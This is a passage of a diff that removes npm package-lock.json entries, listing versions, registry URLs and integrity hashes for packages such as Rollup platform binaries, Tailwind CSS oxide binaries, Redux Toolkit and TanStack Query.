"sha512-VtAOaymWVfZcmZbp6E2mympDIHvyjXs/12LqWYjVw6qjrfF+VK+fyG33kChz3nnK+SU5/NeHOqrTEHS8sXO3OA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@eslint/plugin-kit": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/@eslint/plugin-kit/-/plugin-kit-0.4.1.tgz", - "integrity": "sha512-43/qtrDUokr7LJqoF2c3+RInu/t4zfrpYdoSDfYyhg52rwLV6TnOvdG4fXm7IkSB3wErkcmJS9iEhjVtOSEjjA==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@eslint/core": "^0.17.0", - "levn": "^0.4.1" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@humanfs/core": { - "version": "0.19.1", - "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.1.tgz", - "integrity": "sha512-5DyQ4+1JEUzejeK1JGICcideyfUbGixgS9jNgex5nqkW+cY7WZhxBigmieN5Qnw9ZosSNVC9KQKyb+GUaGyKUA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=18.18.0" - } - }, - "node_modules/@humanfs/node": { - "version": "0.16.7", - "resolved": "https://registry.npmjs.org/@humanfs/node/-/node-0.16.7.tgz", - "integrity": "sha512-/zUx+yOsIrG4Y43Eh2peDeKCxlRt/gET6aHfaKpuq267qXdYDFViVHfMaLyygZOnl0kGWxFIgsBy8QFuTLUXEQ==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@humanfs/core": "^0.19.1", - "@humanwhocodes/retry": "^0.4.0" - }, - "engines": { - "node": ">=18.18.0" - } - }, - "node_modules/@humanwhocodes/module-importer": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", - "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=12.22" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/nzakas" - } - }, - "node_modules/@humanwhocodes/retry": { - "version": "0.4.3", - "resolved": "https://registry.npmjs.org/@humanwhocodes/retry/-/retry-0.4.3.tgz", - "integrity": "sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=18.18" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/nzakas" - } - }, - "node_modules/@jridgewell/gen-mapping": { - "version": "0.3.13", - "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", - "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jridgewell/sourcemap-codec": "^1.5.0", - "@jridgewell/trace-mapping": "^0.3.24" - } - }, - "node_modules/@jridgewell/remapping": { - "version": "2.3.5", - "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz", - "integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jridgewell/gen-mapping": "^0.3.5", - "@jridgewell/trace-mapping": "^0.3.24" - } - }, - "node_modules/@jridgewell/resolve-uri": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", - "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/@jridgewell/sourcemap-codec": { - "version": "1.5.5", - "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", - "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", - "dev": true, - "license": "MIT" - }, - "node_modules/@jridgewell/trace-mapping": { - "version": "0.3.31", - "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", - "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jridgewell/resolve-uri": "^3.1.0", - "@jridgewell/sourcemap-codec": "^1.4.14" - } - }, - "node_modules/@reduxjs/toolkit": { - "version": "2.11.2", - "resolved": "https://registry.npmjs.org/@reduxjs/toolkit/-/toolkit-2.11.2.tgz", - "integrity": "sha512-Kd6kAHTA6/nUpp8mySPqj3en3dm0tdMIgbttnQ1xFMVpufoj+ADi8pXLBsd4xzTRHQa7t/Jv8W5UnCuW4kuWMQ==", - "license": "MIT", - "dependencies": { - "@standard-schema/spec": "^1.0.0", - "@standard-schema/utils": "^0.3.0", - "immer": "^11.0.0", - "redux": "^5.0.1", - "redux-thunk": "^3.1.0", - "reselect": "^5.1.0" - }, - "peerDependencies": { - "react": "^16.9.0 || ^17.0.0 || ^18 || ^19", - "react-redux": "^7.2.1 || ^8.1.3 || ^9.0.0" - }, - "peerDependenciesMeta": { - "react": { - "optional": true - }, - "react-redux": { - "optional": true - } - } - }, - "node_modules/@reduxjs/toolkit/node_modules/immer": { - "version": "11.0.1", - "resolved": "https://registry.npmjs.org/immer/-/immer-11.0.1.tgz", - "integrity": "sha512-naDCyggtcBWANtIrjQEajhhBEuL9b0Zg4zmlWK2CzS6xCWSE39/vvf4LqnMjUAWHBhot4m9MHCM/Z+mfWhUkiA==", - "license": "MIT", - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/immer" - } - }, - "node_modules/@rolldown/pluginutils": { - "version": "1.0.0-beta.53", - "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.53.tgz", - "integrity": "sha512-vENRlFU4YbrwVqNDZ7fLvy+JR1CRkyr01jhSiDpE1u6py3OMzQfztQU2jxykW3ALNxO4kSlqIDeYyD0Y9RcQeQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/@rollup/rollup-android-arm-eabi": { - "version": "4.53.3", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.53.3.tgz", - "integrity": "sha512-mRSi+4cBjrRLoaal2PnqH82Wqyb+d3HsPUN/W+WslCXsZsyHa9ZeQQX/pQsZaVIWDkPcpV6jJ+3KLbTbgnwv8w==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ] - }, - "node_modules/@rollup/rollup-android-arm64": { - "version": "4.53.3", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.53.3.tgz", - "integrity": "sha512-CbDGaMpdE9sh7sCmTrTUyllhrg65t6SwhjlMJsLr+J8YjFuPmCEjbBSx4Z/e4SmDyH3aB5hGaJUP2ltV/vcs4w==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ] - }, - "node_modules/@rollup/rollup-darwin-arm64": { - "version": "4.53.3", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.53.3.tgz", - "integrity": "sha512-Nr7SlQeqIBpOV6BHHGZgYBuSdanCXuw09hon14MGOLGmXAFYjx1wNvquVPmpZnl0tLjg25dEdr4IQ6GgyToCUA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ] - }, - "node_modules/@rollup/rollup-darwin-x64": { - "version": "4.53.3", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.53.3.tgz", - "integrity": "sha512-DZ8N4CSNfl965CmPktJ8oBnfYr3F8dTTNBQkRlffnUarJ2ohudQD17sZBa097J8xhQ26AwhHJ5mvUyQW8ddTsQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ] - }, - "node_modules/@rollup/rollup-freebsd-arm64": { - "version": "4.53.3", - "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.53.3.tgz", - "integrity": "sha512-yMTrCrK92aGyi7GuDNtGn2sNW+Gdb4vErx4t3Gv/Tr+1zRb8ax4z8GWVRfr3Jw8zJWvpGHNpss3vVlbF58DZ4w==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ] - }, - "node_modules/@rollup/rollup-freebsd-x64": { - "version": "4.53.3", - "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.53.3.tgz", - "integrity": "sha512-lMfF8X7QhdQzseM6XaX0vbno2m3hlyZFhwcndRMw8fbAGUGL3WFMBdK0hbUBIUYcEcMhVLr1SIamDeuLBnXS+Q==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ] - }, - "node_modules/@rollup/rollup-linux-arm-gnueabihf": { - "version": "4.53.3", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.53.3.tgz", - "integrity": "sha512-k9oD15soC/Ln6d2Wv/JOFPzZXIAIFLp6B+i14KhxAfnq76ajt0EhYc5YPeX6W1xJkAdItcVT+JhKl1QZh44/qw==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm-musleabihf": { - "version": "4.53.3", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.53.3.tgz", - "integrity": "sha512-vTNlKq+N6CK/8UktsrFuc+/7NlEYVxgaEgRXVUVK258Z5ymho29skzW1sutgYjqNnquGwVUObAaxae8rZ6YMhg==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm64-gnu": { - "version": "4.53.3", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.53.3.tgz", - "integrity": "sha512-RGrFLWgMhSxRs/EWJMIFM1O5Mzuz3Xy3/mnxJp/5cVhZ2XoCAxJnmNsEyeMJtpK+wu0FJFWz+QF4mjCA7AUQ3w==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm64-musl": { - "version": "4.53.3", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.53.3.tgz", - "integrity": "sha512-kASyvfBEWYPEwe0Qv4nfu6pNkITLTb32p4yTgzFCocHnJLAHs+9LjUu9ONIhvfT/5lv4YS5muBHyuV84epBo/A==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-loong64-gnu": { - "version": "4.53.3", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.53.3.tgz", - "integrity": "sha512-JiuKcp2teLJwQ7vkJ95EwESWkNRFJD7TQgYmCnrPtlu50b4XvT5MOmurWNrCj3IFdyjBQ5p9vnrX4JM6I8OE7g==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-ppc64-gnu": { - "version": "4.53.3", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.53.3.tgz", - "integrity": "sha512-EoGSa8nd6d3T7zLuqdojxC20oBfNT8nexBbB/rkxgKj5T5vhpAQKKnD+h3UkoMuTyXkP5jTjK/ccNRmQrPNDuw==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-riscv64-gnu": { - "version": "4.53.3", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.53.3.tgz", - "integrity": "sha512-4s+Wped2IHXHPnAEbIB0YWBv7SDohqxobiiPA1FIWZpX+w9o2i4LezzH/NkFUl8LRci/8udci6cLq+jJQlh+0g==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-riscv64-musl": { - "version": "4.53.3", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.53.3.tgz", - "integrity": "sha512-68k2g7+0vs2u9CxDt5ktXTngsxOQkSEV/xBbwlqYcUrAVh6P9EgMZvFsnHy4SEiUl46Xf0IObWVbMvPrr2gw8A==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-s390x-gnu": { - "version": "4.53.3", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.53.3.tgz", - "integrity": "sha512-VYsFMpULAz87ZW6BVYw3I6sWesGpsP9OPcyKe8ofdg9LHxSbRMd7zrVrr5xi/3kMZtpWL/wC+UIJWJYVX5uTKg==", - "cpu": [ - "s390x" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-x64-gnu": { - "version": "4.53.3", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.53.3.tgz", - "integrity": "sha512-3EhFi1FU6YL8HTUJZ51imGJWEX//ajQPfqWLI3BQq4TlvHy4X0MOr5q3D2Zof/ka0d5FNdPwZXm3Yyib/UEd+w==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-x64-musl": { - "version": "4.53.3", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.53.3.tgz", - "integrity": "sha512-eoROhjcc6HbZCJr+tvVT8X4fW3/5g/WkGvvmwz/88sDtSJzO7r/blvoBDgISDiCjDRZmHpwud7h+6Q9JxFwq1Q==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-openharmony-arm64": { - "version": "4.53.3", - "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.53.3.tgz", - "integrity": "sha512-OueLAWgrNSPGAdUdIjSWXw+u/02BRTcnfw9PN41D2vq/JSEPnJnVuBgw18VkN8wcd4fjUs+jFHVM4t9+kBSNLw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openharmony" - ] - }, - "node_modules/@rollup/rollup-win32-arm64-msvc": { - "version": "4.53.3", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.53.3.tgz", - "integrity": "sha512-GOFuKpsxR/whszbF/bzydebLiXIHSgsEUp6M0JI8dWvi+fFa1TD6YQa4aSZHtpmh2/uAlj/Dy+nmby3TJ3pkTw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-ia32-msvc": { - "version": "4.53.3", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.53.3.tgz", - "integrity": "sha512-iah+THLcBJdpfZ1TstDFbKNznlzoxa8fmnFYK4V67HvmuNYkVdAywJSoteUszvBQ9/HqN2+9AZghbajMsFT+oA==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-x64-gnu": { - "version": "4.53.3", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.53.3.tgz", - "integrity": "sha512-J9QDiOIZlZLdcot5NXEepDkstocktoVjkaKUtqzgzpt2yWjGlbYiKyp05rWwk4nypbYUNoFAztEgixoLaSETkg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-x64-msvc": { - "version": "4.53.3", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.53.3.tgz", - "integrity": "sha512-UhTd8u31dXadv0MopwGgNOBpUVROFKWVQgAg5N1ESyCz8AuBcMqm4AuTjrwgQKGDfoFuz02EuMRHQIw/frmYKQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@standard-schema/spec": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.1.0.tgz", - "integrity": "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w==", - "license": "MIT" - }, - "node_modules/@standard-schema/utils": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/@standard-schema/utils/-/utils-0.3.0.tgz", - "integrity": "sha512-e7Mew686owMaPJVNNLs55PUvgz371nKgwsc4vxE49zsODpJEnxgxRo2y/OKrqueavXgZNMDVj3DdHFlaSAeU8g==", - "license": "MIT" - }, - "node_modules/@tailwindcss/node": { - "version": "4.1.18", - "resolved": "https://registry.npmjs.org/@tailwindcss/node/-/node-4.1.18.tgz", - "integrity": "sha512-DoR7U1P7iYhw16qJ49fgXUlry1t4CpXeErJHnQ44JgTSKMaZUdf17cfn5mHchfJ4KRBZRFA/Coo+MUF5+gOaCQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jridgewell/remapping": "^2.3.4", - "enhanced-resolve": "^5.18.3", - "jiti": "^2.6.1", - "lightningcss": "1.30.2", - "magic-string": "^0.30.21", - "source-map-js": "^1.2.1", - "tailwindcss": "4.1.18" - } - }, - "node_modules/@tailwindcss/oxide": { - "version": "4.1.18", - "resolved": "https://registry.npmjs.org/@tailwindcss/oxide/-/oxide-4.1.18.tgz", - "integrity": "sha512-EgCR5tTS5bUSKQgzeMClT6iCY3ToqE1y+ZB0AKldj809QXk1Y+3jB0upOYZrn9aGIzPtUsP7sX4QQ4XtjBB95A==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 10" - }, - "optionalDependencies": { - "@tailwindcss/oxide-android-arm64": "4.1.18", - "@tailwindcss/oxide-darwin-arm64": "4.1.18", - "@tailwindcss/oxide-darwin-x64": "4.1.18", - "@tailwindcss/oxide-freebsd-x64": "4.1.18", - "@tailwindcss/oxide-linux-arm-gnueabihf": "4.1.18", - "@tailwindcss/oxide-linux-arm64-gnu": "4.1.18", - "@tailwindcss/oxide-linux-arm64-musl": "4.1.18", - "@tailwindcss/oxide-linux-x64-gnu": "4.1.18", - "@tailwindcss/oxide-linux-x64-musl": "4.1.18", - "@tailwindcss/oxide-wasm32-wasi": "4.1.18", - "@tailwindcss/oxide-win32-arm64-msvc": "4.1.18", - "@tailwindcss/oxide-win32-x64-msvc": "4.1.18" - } - }, - "node_modules/@tailwindcss/oxide-android-arm64": { - "version": "4.1.18", - "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-android-arm64/-/oxide-android-arm64-4.1.18.tgz", - "integrity": "sha512-dJHz7+Ugr9U/diKJA0W6N/6/cjI+ZTAoxPf9Iz9BFRF2GzEX8IvXxFIi/dZBloVJX/MZGvRuFA9rqwdiIEZQ0Q==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@tailwindcss/oxide-darwin-arm64": { - "version": "4.1.18", - "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-darwin-arm64/-/oxide-darwin-arm64-4.1.18.tgz", - "integrity": "sha512-Gc2q4Qhs660bhjyBSKgq6BYvwDz4G+BuyJ5H1xfhmDR3D8HnHCmT/BSkvSL0vQLy/nkMLY20PQ2OoYMO15Jd0A==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@tailwindcss/oxide-darwin-x64": { - "version": "4.1.18", - "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-darwin-x64/-/oxide-darwin-x64-4.1.18.tgz", - "integrity": "sha512-FL5oxr2xQsFrc3X9o1fjHKBYBMD1QZNyc1Xzw/h5Qu4XnEBi3dZn96HcHm41c/euGV+GRiXFfh2hUCyKi/e+yw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@tailwindcss/oxide-freebsd-x64": { - "version": "4.1.18", - "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-freebsd-x64/-/oxide-freebsd-x64-4.1.18.tgz", - "integrity": "sha512-Fj+RHgu5bDodmV1dM9yAxlfJwkkWvLiRjbhuO2LEtwtlYlBgiAT4x/j5wQr1tC3SANAgD+0YcmWVrj8R9trVMA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@tailwindcss/oxide-linux-arm-gnueabihf": { - "version": "4.1.18", - "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-arm-gnueabihf/-/oxide-linux-arm-gnueabihf-4.1.18.tgz", - "integrity": "sha512-Fp+Wzk/Ws4dZn+LV2Nqx3IilnhH51YZoRaYHQsVq3RQvEl+71VGKFpkfHrLM/Li+kt5c0DJe/bHXK1eHgDmdiA==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@tailwindcss/oxide-linux-arm64-gnu": { - "version": "4.1.18", - "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-arm64-gnu/-/oxide-linux-arm64-gnu-4.1.18.tgz", - "integrity": "sha512-S0n3jboLysNbh55Vrt7pk9wgpyTTPD0fdQeh7wQfMqLPM/Hrxi+dVsLsPrycQjGKEQk85Kgbx+6+QnYNiHalnw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@tailwindcss/oxide-linux-arm64-musl": { - "version": "4.1.18", - "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-arm64-musl/-/oxide-linux-arm64-musl-4.1.18.tgz", - "integrity": "sha512-1px92582HkPQlaaCkdRcio71p8bc8i/ap5807tPRDK/uw953cauQBT8c5tVGkOwrHMfc2Yh6UuxaH4vtTjGvHg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@tailwindcss/oxide-linux-x64-gnu": { - "version": "4.1.18", - "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-x64-gnu/-/oxide-linux-x64-gnu-4.1.18.tgz", - "integrity": "sha512-v3gyT0ivkfBLoZGF9LyHmts0Isc8jHZyVcbzio6Wpzifg/+5ZJpDiRiUhDLkcr7f/r38SWNe7ucxmGW3j3Kb/g==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@tailwindcss/oxide-linux-x64-musl": { - "version": "4.1.18", - "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-x64-musl/-/oxide-linux-x64-musl-4.1.18.tgz", - "integrity": "sha512-bhJ2y2OQNlcRwwgOAGMY0xTFStt4/wyU6pvI6LSuZpRgKQwxTec0/3Scu91O8ir7qCR3AuepQKLU/kX99FouqQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@tailwindcss/oxide-wasm32-wasi": { - "version": "4.1.18", - "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-wasm32-wasi/-/oxide-wasm32-wasi-4.1.18.tgz", - "integrity": "sha512-LffYTvPjODiP6PT16oNeUQJzNVyJl1cjIebq/rWWBF+3eDst5JGEFSc5cWxyRCJ0Mxl+KyIkqRxk1XPEs9x8TA==", - "bundleDependencies": [ - "@napi-rs/wasm-runtime", - "@emnapi/core", - "@emnapi/runtime", - "@tybys/wasm-util", - "@emnapi/wasi-threads", - "tslib" - ], - "cpu": [ - "wasm32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "dependencies": { - "@emnapi/core": "^1.7.1", - "@emnapi/runtime": "^1.7.1", - "@emnapi/wasi-threads": "^1.1.0", - "@napi-rs/wasm-runtime": "^1.1.0", - "@tybys/wasm-util": "^0.10.1", - "tslib": "^2.4.0" - }, - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/@tailwindcss/oxide-win32-arm64-msvc": { - "version": "4.1.18", - "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-win32-arm64-msvc/-/oxide-win32-arm64-msvc-4.1.18.tgz", - "integrity": "sha512-HjSA7mr9HmC8fu6bdsZvZ+dhjyGCLdotjVOgLA2vEqxEBZaQo9YTX4kwgEvPCpRh8o4uWc4J/wEoFzhEmjvPbA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@tailwindcss/oxide-win32-x64-msvc": { - "version": "4.1.18", - "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-win32-x64-msvc/-/oxide-win32-x64-msvc-4.1.18.tgz", - "integrity": "sha512-bJWbyYpUlqamC8dpR7pfjA0I7vdF6t5VpUGMWRkXVE3AXgIZjYUYAK7II1GNaxR8J1SSrSrppRar8G++JekE3Q==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@tailwindcss/vite": { - "version": "4.1.18", - "resolved": "https://registry.npmjs.org/@tailwindcss/vite/-/vite-4.1.18.tgz", - "integrity": "sha512-jVA+/UpKL1vRLg6Hkao5jldawNmRo7mQYrZtNHMIVpLfLhDml5nMRUo/8MwoX2vNXvnaXNNMedrMfMugAVX1nA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@tailwindcss/node": "4.1.18", - "@tailwindcss/oxide": "4.1.18", - "tailwindcss": "4.1.18" - }, - "peerDependencies": { - "vite": "^5.2.0 || ^6 || ^7" - } - }, - "node_modules/@tanstack/query-core": { - "version": "5.90.12", - "resolved": "https://registry.npmjs.org/@tanstack/query-core/-/query-core-5.90.12.tgz", - "integrity": "sha512-T1/8t5DhV/SisWjDnaiU2drl6ySvsHj1bHBCWNXd+/T+Hh1cf6JodyEYMd5sgwm+b/mETT4EV3H+zCVczCU5hg==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/tannerlinsley" - } - }, - "node_modules/@tanstack/react-query": { - "version": "5.90.12", - "resolved": "https://registry.npmjs.org/@tanstack/react-query/-/react-query-5.90.12.tgz", - "integrity": "sha512-graRZspg7EoEaw0a8faiUASCyJrqjKPdqJ9EwuDRUF9mEYJ1YPczI9H+/agJ0mOJkPCJDk0lsz5QTrLZ/jQ2rg==", - "license": "MIT", - "dependencies": { - "@tanstack/query-core": "5.90.12" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/tannerlinsley" - }, - "peerDependencies": { - "react": "^18 || ^19" - } - }, - "node_modules/@types/babel__core": { - "version": "7.20.5", - "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz", - "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/parser": "^7.20.7", - "@babel/types": "^7.20.7", - "@types/babel__generator": "*", - "@types/babel__template": "*", - "@types/babel__traverse": "*" - } - }, - "node_modules/@types/babel__generator": { - "version": "7.27.0", - "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz", - "integrity": 